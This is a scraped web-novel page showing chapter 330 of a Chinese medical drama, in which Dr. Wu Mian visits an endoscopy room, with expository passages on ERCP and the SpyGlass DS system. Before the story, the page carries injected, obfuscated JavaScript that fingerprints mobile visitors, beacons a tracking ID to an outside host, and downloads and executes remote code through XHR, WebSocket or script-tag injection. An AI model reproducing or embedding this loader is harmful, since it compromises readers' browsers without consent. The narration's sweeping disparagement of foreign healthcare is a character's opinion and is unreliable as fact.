足迹
刺骨
登录
关灯
护眼
字体:

330 不美(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

ercp技术是一项令人叹为观止的革命,不仅使得胆胰系统疾病诊断更为准确;同时可以进行内镜下治疗,免除了外科手术,避免了外科手术的风险高,创伤大、恢复慢、并发症多的弊端。

1968年美国医生应用十二指肠镜首次插管成功标志着ercp的开始,之后erbd、est及enbd等技术分别由德国、日本等专家完成,ercp系列诊疗技术逐步完善。

上世纪80年代初我国于忠麟、鲁焕章教授开始引进ercp相关治疗技术,历经40余年发展,我国的ercp操作水平已经达到甚至超过国外。

毕竟,我国患者量巨大,而且基本国情与国外不同。

国外人数也多,但能不能看起病,首先是要看有没有钱。许多公知号称国外免费医疗,这种事情也就骗骗人,每年那么多打飞的回国做阑尾切除术的人海了去了。

一周十台ercp和一周几近百台ercp手术积累的经验值完全不一样。

国外的高端科技的确是高,但落到最基本的治疗上,却出现另外一种情况——高的太高,低的太低。

在吴冕看来,之所以国外高端科技迅猛发展,是因为有钱人的需要。他们不在乎花多少钱,而只在意自己能多活几年。

至于那些没钱的人……那都是生产资料,不算是人。这一点,马老师早就做了各种论证。

这个想法吴冕只是自己琢磨,并没有和任何人说过。

由于ercp技术已经基本发展完善,近10年来ercp并没有实质性进展,似乎进入了发展的瓶颈。

胆胰管被医生称为“消化道的最后一块盲区”。

因为胰腺、胆管等被肝脏、胃等器官“隐藏”起来,检查非常困难。目前仍有一部分胆胰管系统的疾病是ercp、mrcp所不能诊断的,对于复杂胆道疾病,仍然具有局限性。

近年spyglass的出现是一个亮点,其可在直视下进行胆胰管内活检甚至碎石治疗,突破了原内镜治疗的盲区。

spyglassds全称为经口胆胰子镜直视系统,可以说是内镜医生的第三只眼。

这套系统可以通过十二指肠镜的活检孔道进入到胆管或胰管内,达到直视化、精准化,让医生能随时清晰地观察胆胰管区域,消除以往的胆胰管的视野盲区,让ercp技术得到提升。

吴冕听薛春和介绍,说医大二院消化内镜室经梁主任提单子,进了一台spyglassds。

之后他就有了兴趣,毕竟spyglassds系统出现的很晚,就算是在美国的一些稍微差点的医院都没有普及。没想到竟然在黑山省已经引进,他顺便来看一圈。

进门口换了衣服,见梁主任正在看着超声胃镜的影像发呆,吴冕瞬间就明白发生了什么事情,他小声提醒。

“吴老师。”梁主任转身,惊喜交加的看着吴冕。

惊的是自己今天运势的确不好,一个误诊,加上现在这个老患者诊断不明确,这得留给吴老师多坏的印象。

怕是自己距离八井子的那家新院区越来越远。

现在根本不是自己犹豫、选择,而是吴老师根本看不上自己。

喜的是吴老师来了,自己能顺便讨教一下到底是自己的心里感觉,还是患者真有问题。

“嗯,梁主任您在考虑患者胰腺有其他问题么?”吴冕问道。

梁主任简单介绍患者情况后说道,“吴老师,看着没什么事儿,可我还是觉得有问题。”

“哪里有问题?”吴冕笑吟吟的看着梁主任。